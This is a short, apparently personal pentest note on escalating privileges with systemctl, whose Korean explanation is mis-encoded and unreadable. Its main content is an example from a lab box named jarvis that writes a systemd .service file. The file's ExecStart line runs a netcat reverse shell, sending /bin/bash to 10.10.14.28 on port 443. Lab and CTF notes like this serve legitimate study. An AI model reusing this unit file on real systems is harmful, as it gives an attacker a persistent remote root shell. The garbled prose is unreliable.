Systemctl

์„œ๋น„์Šค๋Š” .service ํŒŒ์ผ๋กœ ์ •์˜๋จ, Systemctl์„ ์‚ฌ์šฉํ•˜์—ฌ systemd์— ์—ฐ๊ฒฐํ•œ ๋‹ค์Œ ๋‹ค์‹œ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋น„์Šค๋ฅผ ์‹œ์ž‘, ์„œ๋น„์Šค๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ์ž‘์—…์€ .service ํŒŒ์ผ์— ์˜ํ•ด ์ •์˜๋จ

์ฆ‰ systemctl์ด ์žˆ์„ ๊ฒฝ์šฐ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ๋‹ด๊ธด .service ํŒŒ์ผ์„ ๋งŒ๋“ ๋‹ค์Œ ์‹คํ–‰์„ ํ•˜๋ฉด ๊ถŒํ•œ ์ƒ์Šน ๊ฐ€๋Šฅ

์˜ˆ์ œ

pepper@jarvis:/dev/shm$ cat >0xdf.service<<EOF
[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.28 443'
KillMode=process
Restart=on-failure
RestartSec=42s

[Install]
WantedBy=multi-user.target
EOF

Last updated